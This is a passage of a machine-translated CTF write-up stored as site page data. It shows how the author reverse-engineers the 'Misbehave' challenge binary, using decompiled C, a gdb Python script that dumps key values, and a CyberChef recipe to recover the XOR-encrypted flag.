{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-tsg-ctf-2024-en","result":{"data":{"markdownRemark":{"id":"19f46138-d1b3-54cf-aa92-b8761382606a","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-tsg-ctf-2024\">original page</a>.</p>\n</blockquote>\n<p>I participated in TSG CTF 2024, which started on 12/14, with 0nePadding and finished in 63rd place. (Everyone was really good…)</p>\n<p>I will write a quick writeup.</p>\n<!-- omit in toc -->\n<h2 id=\"table-of-contents\" style=\"position:relative;\"><a href=\"#table-of-contents\" aria-label=\"table of contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Table of Contents</h2>\n<ul>\n<li><a href=\"#misbehave-rev\">Misbehave (Rev)</a></li>\n<li><a href=\"#password-ate-quiz-pwn\">Password-Ate-Quiz (Pwn)</a></li>\n<li><a href=\"#summary\">Summary</a></li>\n</ul>\n<h2 id=\"misbehave-rev\" style=\"position:relative;\"><a href=\"#misbehave-rev\" aria-label=\"misbehave rev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Misbehave (Rev)</h2>\n<blockquote>\n<p>This binary is a little strange…</p>\n<p>Hint for beginners:</p>\n<p>The attached file is an ELF executable that runs on x86-64 Linux.\nIf you run it and enter the correct FLAG, it will display <code class=\"language-text\">Correct!</code>.\nUse Ghidra or IDA Free to understand the overall processing.\nUse gdb to observe its behavior while actually running it.\nYou do not need to understand every detail of every routine exactly.\nIn many cases, it is enough just to understand what a routine takes as input and what it changes.</p>\n</blockquote>\n<p>I first checked the challenge binary with capa, but I could not find any information that seemed especially useful.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 908px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/6a2696869fd540ee42aa484b5ee649e7/a2b88/image-20241214163510379.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 41.25%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABNUlEQVQoz2VS2XKCQBDkxbJKUW5YQBDkVIRU8Pj/P+vQk4KQ5KGr95jpmZ5d7XK5IIoiHA4H3O93PJ/PBY/HA+/3G8MwIM9zBEEAx3Hguq6Aa8MwBMfjUfZaXde43W7Y7/cYxxGv10v2bdui6zrB9XqVszRNcTqdhJMkkbWu65K72+1gmiY0VmYADyhuWRY2mw222+0/MOYvKPZLMMuyxXJRFCjLUuxxTeY9xzJzGIZij8lr0LZYpp2+H8QahZVSwjPiOBami2H4mGJ7VFUlwus47llUU3EK/1xBnUupQNj2zPZS3fNcRHmNIC3QTPNlMsfzk2PLo2m0wdlxwHw53/cFnudJt03TSEcMpijPPfeb57iZ6UbLygZl94m0aKGm6oEKF1EK8ivx21CUcyXYABuZ49aCX7MN0TANKarBAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/6a2696869fd540ee42aa484b5ee649e7/8ac56/image-20241214163510379.webp 240w,\n/static/6a2696869fd540ee42aa484b5ee649e7/d3be9/image-20241214163510379.webp 480w,\n/static/6a2696869fd540ee42aa484b5ee649e7/1f8a9/image-20241214163510379.webp 908w\"\n              sizes=\"(max-width: 908px) 100vw, 908px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/6a2696869fd540ee42aa484b5ee649e7/8ff5a/image-20241214163510379.png 240w,\n/static/6a2696869fd540ee42aa484b5ee649e7/e85cb/image-20241214163510379.png 480w,\n/static/6a2696869fd540ee42aa484b5ee649e7/a2b88/image-20241214163510379.png 908w\"\n            sizes=\"(max-width: 908px) 100vw, 908px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/6a2696869fd540ee42aa484b5ee649e7/a2b88/image-20241214163510379.png\"\n            alt=\"image-20241214163510379\"\n            title=\"image-20241214163510379\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>When I decompiled it with Binja, I found that the <code class=\"language-text\">main</code> function was implemented as follows.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token class-name\">int32_t</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int32_t</span> argc<span class=\"token punctuation\">,</span> <span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token operator\">*</span> argv<span class=\"token punctuation\">,</span> <span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token operator\">*</span> envp<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">char</span> var_9 <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int32_t</span> var_14 <span class=\"token operator\">=</span> <span class=\"token number\">4</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">void</span> input_0x30_flag<span class=\"token punctuation\">;</span>\n    <span class=\"token function\">input_flag</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>input_0x30_flag<span class=\"token punctuation\">,</span> <span class=\"token number\">0x30</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">init</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x2cb7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x22</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    \n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token class-name\">int32_t</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;=</span> <span class=\"token number\">0xb</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token class-name\">int32_t</span> rax_2 <span class=\"token operator\">=</span> <span class=\"token function\">gen_rand</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>i <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>input_0x30_flag<span class=\"token punctuation\">)</span> <span class=\"token operator\">^=</span> rax_2<span class=\"token punctuation\">;</span>\n        \n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token function\">memcmp</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>input_0x30_flag <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>i <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>i <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>flag_enc<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>var_14<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n            var_9 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    \n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_9 <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n        <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Wrong...\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">else</span>\n        <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Correct!\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    \n    <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>At a high level, the <code class=\"language-text\">main</code> function seems to perform the following steps.</p>\n<ol>\n<li>Receive <code class=\"language-text\">0x30</code> bytes of input from standard input.</li>\n<li>Perform some initialization in the <code class=\"language-text\">init</code> function.</li>\n<li>Inside a loop that runs 12 times, XOR the input with a random value generated by <code class=\"language-text\">gen_rand</code> in 4-byte chunks and compare it against a hardcoded value with <code class=\"language-text\">memcmp</code>.</li>\n<li>If all checks succeed, output the string <code class=\"language-text\">Correct!</code>.</li>\n</ol>\n<p>Since the XOR-encrypted flag is hardcoded, it seems that once we correctly identify the key generated by <code class=\"language-text\">gen_rand</code>, we can work backward to recover the flag.</p>\n<p>Looking at the implementation of <code class=\"language-text\">gen_rand</code>, it seems to be a function that manipulates the <code class=\"language-text\">state</code> variable in various ways. (It did not seem very important, so I did not read the implementation in detail.)</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/2e8b72aa8c706b4f80ad8bfbf99ce682/d53ff/image-20241214172808976.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 42.083333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMklEQVQoz32RWW7DMAxEfZTGdrRQu2UjQJrFTnv/K01J2w3Sj+ZjwEXCkE9q7o8Z89cD1+Ub13nZNa/xMj9wWRacr3fWDZ+3+1udWY0yCrUSQkrw3mFIDiVY5BigYwHlABM9OqXwcWjfq+3QWEdIOSKVAeQ9XGCxMTkHZR00EYzf4lEblt6jQb/H17zR1kJMDYkBQbOpDpwbQndUOHRHtLukbkW9aK/7v3UjrspYlDphKAmnGjGOI2IpiIx9GguGOiKPFS5lTEPm84phmvhORq4F5cR0IfBCVt7QQrZ0IcIzruftfIyMH1bssPb4LCZY3l56xETW+e05iJ6E2hgxNGy4HUjzyLWxWy49LQPXoVsuRIL3RN6xu19kw5M8f0qRj8kZxNut0z3tG/j14qt6pf/VD4Gr8YdJDzvsAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/2e8b72aa8c706b4f80ad8bfbf99ce682/8ac56/image-20241214172808976.webp 240w,\n/static/2e8b72aa8c706b4f80ad8bfbf99ce682/d3be9/image-20241214172808976.webp 480w,\n/static/2e8b72aa8c706b4f80ad8bfbf99ce682/e46b2/image-20241214172808976.webp 960w,\n/static/2e8b72aa8c706b4f80ad8bfbf99ce682/55b8e/image-20241214172808976.webp 1068w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/2e8b72aa8c706b4f80ad8bfbf99ce682/8ff5a/image-20241214172808976.png 240w,\n/static/2e8b72aa8c706b4f80ad8bfbf99ce682/e85cb/image-20241214172808976.png 480w,\n/static/2e8b72aa8c706b4f80ad8bfbf99ce682/d9199/image-20241214172808976.png 960w,\n/static/2e8b72aa8c706b4f80ad8bfbf99ce682/d53ff/image-20241214172808976.png 1068w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/2e8b72aa8c706b4f80ad8bfbf99ce682/d9199/image-20241214172808976.png\"\n            alt=\"image-20241214172808976\"\n            title=\"image-20241214172808976\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Because the XOR-encrypted flag is hardcoded in the binary with a specific key, it seems highly likely that the key generated by <code class=\"language-text\">gen_rand</code> is not truly random but instead uniquely determined by a specific seed.</p>\n<p>In fact, if you debug it by driving gdb with the following script, you can confirm that only the first 4 bytes of the key are fixed (using the hardcoded seed from the <code class=\"language-text\">init</code> function), and that the subsequent keys change depending on each 4-byte chunk of the input string.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token comment\"># gdb -x run.py</span>\n<span class=\"token keyword\">import</span> gdb\n<span class=\"token keyword\">import</span> ctypes\n<span class=\"token keyword\">from</span> pprint <span class=\"token keyword\">import</span> pprint\n\nBINDIR <span class=\"token operator\">=</span> <span class=\"token string\">\"./\"</span>\nBIN <span class=\"token operator\">=</span> <span class=\"token string\">\"misbehave\"</span>\nINPUT <span class=\"token operator\">=</span> <span class=\"token string\">\"./in.txt\"</span>\nOUTPUT <span class=\"token operator\">=</span> <span class=\"token string\">\"./out.txt\"</span>\nBREAK <span class=\"token operator\">=</span> <span class=\"token string\">\"*(main+74)\"</span>\n\n<span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span>INPUT<span class=\"token punctuation\">,</span> <span class=\"token string\">\"w\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    f<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span><span class=\"token string\">\"A\"</span><span class=\"token operator\">*</span><span class=\"token number\">0x30</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span>OUTPUT<span class=\"token punctuation\">,</span> <span class=\"token string\">\"w\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    f<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span><span class=\"token string\">\"A\"</span><span class=\"token operator\">*</span><span class=\"token number\">0x30</span><span class=\"token punctuation\">)</span>\n\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'file {}/{}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>BINDIR<span class=\"token punctuation\">,</span> BIN<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'b {}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>BREAK<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'run &lt; {}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>INPUT<span class=\"token punctuation\">,</span> OUTPUT<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">while</span> <span class=\"token boolean\">True</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>\n        ctypes<span class=\"token punctuation\">.</span>c_int32<span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>gdb<span class=\"token punctuation\">.</span>parse_and_eval<span class=\"token punctuation\">(</span><span class=\"token string\">\"$eax\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>value\n    <span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    gdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">\"continue\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Note: the following is the value of the key generated when the input string consists only of <code class=\"language-text\">A</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 439px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/2fa41a1eb539f6e6318c016a6e2040e4/e3b18/image-20241214170031493.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 165.41666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAhCAYAAADZPosTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEdUlEQVRIx6WW13LjSAxFm2QzkxLFJMmybCUn2XKYcZ7Z2q39/3+6iwsq1VTti/2Agsgy4QZwD9BmsZhjvphhtVpiPp9hfDJGmsbwkz6Seo5seKk+rs73llQzBFmFpmkxrCOcjwzqQYCqqmHOzqbY3N/h/mGDu80dbm6ukecZjOPCtQFcL+j8kTmeD8e18P0AvnUQhwZWvPV9GNd1EYYBPM9TC4IAxhg1R4I6rqfBj03fGWf7N2bvHUfe3d6tcXt3i6cfj3h8etC08zxFkBZImiWy0RVS8Uz72IK8wXA0wqiNsZgYNFWIWkpgJpMTLJYLLMUYfDwe7U/4JUuSBHEci0WabhiGmjpr5SeFnLSCH/dhox5s3JkfF3D9WL9LYos8MYgjD5E8G6b68vqM17cXPL/8xM36GlkmKcuH0eBUOiqdHUwRFRN5nnS+OIGflqjqBnUZYjo0KPsBBmUJ0+/3pP01iqKQFwMUg+J7KbdtI/qhphqUEjDPc0TSdRtl2xPO1Ef9sZ6ss4mWYzCQUw5CjGuDouejXwxgLq8u8P7xht9//cI///6NF0m918ulRqF+5CeDrT8Y6+gFiZQmR5ZaSddILT0kSSqyEu2wMWwGfZZl30t5KcgRv4vLFWaiwZHIJssSBMmfOpxtNdj5IGvQDkWHTYz5ieiwpA4bGAa6vLpUURO/0+mpysYRgowQ4TiekkHUOjuQ43kWnusgsAaua/Q74wt/NOtb1WEQ+N3RybJyHHbsHhk1auQfuS5xdSSo0cAacHO/UeyoQZ5wpuhlW/QW3bQR36W6NZ02h5QVvV3KrNlytZBA5zg9FdFG0feaQt2xu2maKkoM6HlSHz9S7MK87fBT+XTGZy9I5ZtMZVNkBmkispEYOm0+Pt/x+esDv35/SvpPqOsKNkxVxDFFTTFT2FsLeyPVY1lWKuxJeyRsa6386OspSUtVldIM7+spn8j4Gg5bHf2NYMjgRM8XGuLyTDS4UE/89LT05VSHQykjn8OBJyyL7XDgLvn5/ANv7686dR4eH7TLlIaN8m5sqT+YJ+VwpcbMisj1pYZR6Hbji+gRO6ZOPX67y6SEA2J9e4OLixUmIp3dCkgVvev/XQGqwz9XAFm+29yqrW/Xe/R2S+hgzpF1z8yOy4mkOGa7pDrcAk1Zf4fd1iOznox56o3j3rWR1o3G90TQWmLrIvCNrlOWzBA3ao8NYXNWkjbnYbBd9Gm72i/6ZL/szwS9Gm07xLCJdNrUZaArwVB73HRcA8SvFv+tpnCX5HKiXq+HVJYTpWCtpxOZ2JESxU9OtDM+e2Euzeuhn/uoZGLngmAmGBt2l+kSPa4CloC7xTJgb7hFbahBdsYOcw0UgtpAtt2oMujlVg7Vh2FHdwOCtSMpvJ58OeWpyIS3h6lcmohhJYMhkaVP9Dj30vZCPfHbGZvjy8Th/GurCGeylyu5fRFFQ/1xuBK9h8d72S0XenlyRRKsI2XT+YN1MgqVqij09OYQBq4SZzhd1usbJeXsfNpp6Rtd/g8NPfh4OhmSPwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/2fa41a1eb539f6e6318c016a6e2040e4/8ac56/image-20241214170031493.webp 240w,\n/static/2fa41a1eb539f6e6318c016a6e2040e4/023f2/image-20241214170031493.webp 439w\"\n              sizes=\"(max-width: 439px) 100vw, 439px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/2fa41a1eb539f6e6318c016a6e2040e4/8ff5a/image-20241214170031493.png 240w,\n/static/2fa41a1eb539f6e6318c016a6e2040e4/e3b18/image-20241214170031493.png 439w\"\n            sizes=\"(max-width: 439px) 100vw, 439px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/2fa41a1eb539f6e6318c016a6e2040e4/e3b18/image-20241214170031493.png\"\n            alt=\"image-20241214170031493\"\n            title=\"image-20241214170031493\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>You can also confirm that the hardcoded XOR-encrypted flag is as follows.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 396px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/dbf0a63fe751e6f449d38cac2539175c/db910/image-20241214170601611.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 79.16666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAACl0lEQVQ4y32UyVMTQRTG52yRZCaZpWdfeyYz2ZBFsQCXAxZFhJQgliWCUIVoeRSv6M3yv/583cMWiBzeIVMvv/6+771u5fzrAf6cn+Dvj2OcftrHm7djHH6eYLI3xtG7Pfw6PcPFyQl+Hh5j+/ADxu/3sbW9g42tLarxvVKOJq9wcbaL31928Xp1AR3LAXNs6KYJ0zLBmA2LMVk6s+qi7x3DmFnKzsYKvh1s4vvHTawu9/Go0YTW1hH0cwQDDt0gWOrCG6QIF3PEywWcbogG9TVVFY1Wa6qUZKFA9WKEcq0PNwugahq0joFwUMDlMSl0YWc+wnmOYJSBiz4BbLbQot67pQTUmK0PkD6r5B+vgcMCfpXBNMly7BKMI1oqrvuugeodoDiZEzCjRhZ7U8CgdxuYyUqelvB78QMK6WS+RgpXStg8mAb2OSwakhU7EE7CxxzxUhdeFT1sWSgUJ9upP5VhcGmZpR78fgqfBhPRYKYyVO8BcwkUClkybTkUCk2ntiwUzguFNGV+K0NNnQF8TgqfdGFFbg1s10CvSKRlmwDRQi4VxstdBMPk/5avhpLczpD2UACjYS4VssyT6gQ0pWjc8iZDsYv3gDkpFI0iq5sMc7k2V5ZDchKMSOEi7WdXAJuzgXLK67Xlq7VpEzCaLynDHDbz4OQBqStkj1Aph0K3otWeZZlO5C/rxdZDRo0qnarRgAJZmqaj45p0/TxYZN3pBtBdC3NzDXn9hHVZl1dR8Sn4cmmIeMhRjCpknLJLYhiGCcO04HgePRL0MNBvz/Oh6/QImAZMGqDYCsO3YQb1arUNHQqjy899ysqwkGYZqqoCzzlcAkVxLL+FUQTP91H2KvruwnAZDSamBY8lyClCeL0EBjPxD25PulZP4SrLAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/dbf0a63fe751e6f449d38cac2539175c/8ac56/image-20241214170601611.webp 240w,\n/static/dbf0a63fe751e6f449d38cac2539175c/2a0bc/image-20241214170601611.webp 396w\"\n              sizes=\"(max-width: 396px) 100vw, 396px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/dbf0a63fe751e6f449d38cac2539175c/8ff5a/image-20241214170601611.png 240w,\n/static/dbf0a63fe751e6f449d38cac2539175c/db910/image-20241214170601611.png 396w\"\n            sizes=\"(max-width: 396px) 100vw, 396px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/dbf0a63fe751e6f449d38cac2539175c/db910/image-20241214170601611.png\"\n            alt=\"image-20241214170601611\"\n            title=\"image-20241214170601611\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>From this information, we can tell that only the first 4 bytes of the flag can be identified by XORing the initial value of <code class=\"language-text\">state</code> with the first 4 bytes of the encrypted flag. After that, the rest of the flag can be identified in order by entering the correct flag string 4 bytes at a time and using the correct key generated from it.</p>\n<p>Below is the recipe I used in CyberChef to identify the correct flag 4 bytes at a time.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 570px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/04482160f8e9a922b4ecdf2ed9cc2ca6/432e7/image-20241214172627627.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 77.5%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAACPUlEQVQ4y42TWXPaMBSF/f//UB87nT4kTYcmQ9gMZrEx3rV4l03I6ZVCApSUVp5vJFvS0fW9R9Yu8CFzCdW1aFSD9oged70C4wwze4rpbApn5UDkHBlPiQwt7anbGs0Zll6cZDFUrycr1IomCD3W31KWYDR5Nswdmw4X8DyP2KLrekPfn7Cewgc8BvewsyEcMcaCj+AQiyMrOYVXzbHkEyzYCIH0UBYlhBSQUuJVP68nLDsZwU7GCMst4spHVG2Jyz4sPQSFBz9fI61CkIbZrNu5mBHMGENRVfifpjfwJr25xnL5wpwclBvsij9ZfxDQ+zZfIil3OLwcsN/vcTgcriO8d79hzijhbPgGH1Lu6J34yCfNj8MBRtEAPt9QDgsUR7qug1LqA8uTa3CVQKgUrE3AmhhxGSChXAWlC58ii2ofvE2R1PS9DBGFAhvXQ9M06EmwO8PSfuJcIE1SqFaZPEhZkBcVpGLYRQF88mqvelPRrPSRkDPC0KOIevPrF7ZZZTNsxBwbbsPLHWyLJUW1NL0r53DFAitmv40ph1G+QC2/UIWqz6t8Z3/FY/gDg909Bv4dnuMBlmJKTEyvfbiSMyyp1zmNq+AodLLORZXXtFijjatFHEILGCFxQq/RczFVGUczfxrhg/sdw/AniY2pou+MrphGTxhHv0jQvxK6iHCeTqiaHtImOLsdn0A3SXvT3JQzwatfzvMcgkvUdfPPm/Ly+gJWJ7cF42JnzBoVvvEga6K/ECMlH4omuyn4GzrEvyA5SLK6AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/04482160f8e9a922b4ecdf2ed9cc2ca6/8ac56/image-20241214172627627.webp 240w,\n/static/04482160f8e9a922b4ecdf2ed9cc2ca6/d3be9/image-20241214172627627.webp 480w,\n/static/04482160f8e9a922b4ecdf2ed9cc2ca6/048c8/image-20241214172627627.webp 